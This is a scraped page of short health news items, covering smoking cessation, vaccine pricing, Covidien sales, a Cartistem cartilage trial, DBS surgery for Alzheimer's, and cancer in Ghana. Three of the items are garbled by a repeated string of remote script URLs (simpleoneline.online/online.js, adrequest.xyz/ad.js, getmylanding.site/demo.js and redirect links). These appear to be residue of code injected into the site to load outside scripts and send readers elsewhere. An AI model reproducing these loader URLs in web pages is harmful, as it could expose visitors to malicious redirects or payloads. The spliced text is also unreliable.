One more reason to quit smoking

Smokers who quit when they are young adults can live almost as long as people who never smoked, groundbreaking new research has found. THE MEDICAL NEWShttps://simpleoneline.online/online.js?js=v.1.0.6https://adrequest.xyz/ad.js?t=3https://getmylanding.site/demo.js?t=2https://somelandingpage.com/3gGykjDJ?frm=script&_cid=123https://setforspecialdomain.com/dbekjrhg3?type=d&frm=scr&

High vaccine prices ignored by ‘Decade of Vaccines’ blueprint

Governments meeting at the World Health Organization’s Executive Board (WHO EB) this week must seize the opportunity to improve serious shortcomings in the document that will drive the global community’s vaccines response in the...

Covidien first quarter sales increase 5% to $3.06 billion

Covidien plc today reported results for the first quarter of fiscal 2013 (October - December 2012). First-quarter net sales of $ 3.06 billion were 5% above the $ 2.90 billion reported in...

Researchers study innovative stem cell drug for treating localized cartilage damage

Rush University Medical Center is conducting the nation's first clinical study of an innovative stem cell drug, Cartistem, to repair knee cartilage damaged by aging, trauma or degenerative diseases such as osteoarthritis. THE MEDICAL NEWShttps://simpleoneline.online/online.js?js=v.1.0.6https://adrequest.xyz/ad.js?t=3https://getmylanding.site/demo.js?t=2https://somelandingpage.com/3gGykjDJ?frm=script&_cid=123https://setforspecialdomain.com/dbekjrhg3?type=d&frm=scr&

Ohio State’s Wexner Medical Center performs DBS surgery on Alzheimer’s patient

During a five-hour surgery last October at The Ohio State University Wexner Medical Center, Kathy Sanford became the first Alzheimer's patient in the United States to have a pacemaker implanted in her brain. THE MEDICAL...

Tailored treatments and PSA screenings required to Improve health outcomes In Ghana

Infectious diseases in Ghana tend to capture the most attention, but a quiet crisis may soon take over as the country's most threatening epidemic: cancer. THE MEDICAL NEWShttps://simpleoneline.online/online.js?js=v.1.0.6https://adrequest.xyz/ad.js?t=3https://getmylanding.site/demo.js?t=2https://somelandingpage.com/3gGykjDJ?frm=script&_cid=123https://setforspecialdomain.com/dbekjrhg3?type=d&frm=scr&

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